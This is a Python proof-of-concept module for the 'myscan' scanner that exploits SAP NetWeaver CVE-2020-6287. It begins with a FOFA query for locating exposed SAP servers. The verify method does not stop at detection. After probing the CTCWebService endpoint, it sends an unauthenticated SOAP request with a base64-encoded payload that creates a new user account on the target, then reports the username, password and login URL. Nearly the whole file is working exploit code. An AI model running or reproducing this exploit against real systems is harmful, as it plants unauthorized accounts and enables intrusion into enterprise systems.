# !/usr/bin/env python3
# @Time    : 2020/8/20
# @Author  : caicai
# @File    : poc_sap_cve-2020-6287_2020.py

'''
fofa 'app="SAP-Web-Application-Server"'


vuln:
SAP Enterprise Resource Planning,

SAP Product Lifecycle Management,

SAP Customer Relationship Management,

SAP Supply Chain Management,

SAP Supplier Relationship Management,

SAP NetWeaver Business Warehouse,

SAP Business Intelligence,

SAP NetWeaver Mobile Infrastructure,

SAP Enterprise Portal,

SAP Process Orchestration/Process Integration),

SAP Solution Manager,

SAP NetWeaver Development Infrastructure,

SAP Central Process Scheduling,

SAP NetWeaver Composition Environment, and

SAP Landscape Manager
'''

from myscan.lib.parse.response_parser import response_parser  ##写了一些操作resonse的方法的类
from myscan.lib.helper.request import request  # 修改了requests.request请求的库，建议使用此库，会在redis计数
from myscan.config import scan_set
from myscan.lib.core.common import get_random_str
import base64


class POC():
    def __init__(self, workdata):
        self.dictdata = workdata.get("dictdata")  # python的dict数据，详情请看docs/开发指南Example dict数据示例
        self.url = workdata.get("data")  # self.url为需要测试的url，值为目录url，会以/结尾,如https://www.baidu.com/home/ ,为目录
        self.result = []  # 此result保存dict数据，dict需包含name,url,level,detail字段，detail字段值必须为dict。如下self.result.append代码
        self.name = "sap CVE-2020-6287"
        self.vulmsg = "see exp : https://github.com/duc-nt/CVE-2020-6287-exploit/blob/master/sap-CVE-2020-6287-add-user.py ,  referer: https://www.4hou.com/posts/p7oV"
        self.level = 3  # 0:Low  1:Medium 2:High

    def verify(self):
        # 根据config.py 配置的深度，限定一下目录深度
        if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2:
            return
        headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 Waterfox/56.3",
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
            "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate",
            "Content-Type": "text/xml;charset=UTF-8", "Connection": "close", "Upgrade-Insecure-Requests": "1"}

        req = {
            "method": "GET",
            "url": self.url + "CTCWebService/CTCWebServiceBean?wsdl",
            "headers": headers,  # 主要保留cookie等headers
            "timeout": 10,
            "allow_redirects": False,
            "verify": False,
        }
        r = request(**req)
        if r is not None and r.status_code == 200 and b"urn:CTCWebServiceSi" in r.content:
            user = get_random_str(6).lower()
            pwd = get_random_str(10).lower()
            _payload = "<root>  <user>    <JavaOrABAP>java</JavaOrABAP>    <username>" + str(
                user) + "</username>    <password>" + str(
                pwd) + "</password>    <userType></userType>  </user></root>"
            _payload = base64.b64encode(_payload.encode()).decode()
            _data = "<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:urn=\"urn:CTCWebServiceSi\">  <soapenv:Header/>  <soapenv:Body>    <urn:executeSynchronious>        <identifier>          <component>sap.com/tc~lm~config~content</component>          <path>content/Netweaver/ASJava/NWA/SPC/SPC_UserManagement.cproc</path>       </identifier>       <contextMessages>          <baData>" + str(
                _payload) + "</baData>          <name>userDetails</name>       </contextMessages>    </urn:executeSynchronious>   </soapenv:Body></soapenv:Envelope>"
            req["method"] = "POST"
            req["data"] = _data
            r1 = request(**req)
            if r1 is not None and r1.status_code == 200 and b"urn:CTCWebServiceSi" in r1.content:
                parser_ = response_parser(r1)
                self.result.append({
                    "name": self.name,
                    "url": self.url,
                    "level": self.level,  # 0:Low  1:Medium 2:High
                    "detail": {
                        "vulmsg": self.vulmsg,
                        "otbers": " Add User/Password : {}/{} , login at:{}".format(user, pwd, self.url + "nwa"),
                        "request": parser_.getrequestraw(),
                        "response": parser_.getresponseraw()
                    }
                })
